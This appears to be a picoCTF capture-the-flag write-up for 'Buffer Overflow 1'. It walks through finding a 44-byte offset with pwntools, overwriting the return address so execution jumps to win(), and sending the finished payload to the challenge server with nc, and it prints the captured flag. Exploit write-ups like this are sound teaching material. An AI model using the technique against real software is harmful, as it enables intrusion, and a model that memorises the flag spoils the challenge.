> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/binary-exploitation/buffer-overflow-1.md).

# Buffer Overflow 1

Exploit a buffer overflow to overwrite the return address and jump to `win()`.

### 1. Find the offset

Generate a cyclic pattern:

```bash
python3 -c "from pwn import *; print(cyclic(100))"
```

Send it to the program:

```bash
./vuln
```

Paste the pattern.

Program crashes and shows:

```
Jumping to 0x6161616c
```

### 2. Convert crash value → offset

```bash
python3 -c "from pwn import *; print(cyclic_find(0x6161616c))"
```

Result:

```
44
```

So:

```
offset = 44
```

### 3. Confirm control of EIP

Test:

```bash
python3 -c "import sys; sys.stdout.buffer.write(b'A'*44 + b'BBBB')" | ./vuln
```

If EIP becomes:

```
0x42424242
```

then control is confirmed.

### 4. Find target function

In GDB:

```gdb
info functions
```

You saw:

```
0x080491f6  win
```

### 5. Convert address to little endian

```
0x080491f6 → \xf6\x91\x04\x08
```

or:

```python
p32(0x080491f6)
```

### 6. Build final payload

```python
b"A"*44 + b"\xf6\x91\x04\x08"
```

### 7. Send exploit

```bash
python3 -c "import sys; sys.stdout.buffer.write(b'A'*44 + b'\xf6\x91\x04\x08')" | nc saturn.picoctf.net 61686
```

### Result

Program jumps to:

```
0x080491f6 → win()
```

and prints:

```
picoCTF{addr3ss3s_ar3_3asy_6462ca2d}
```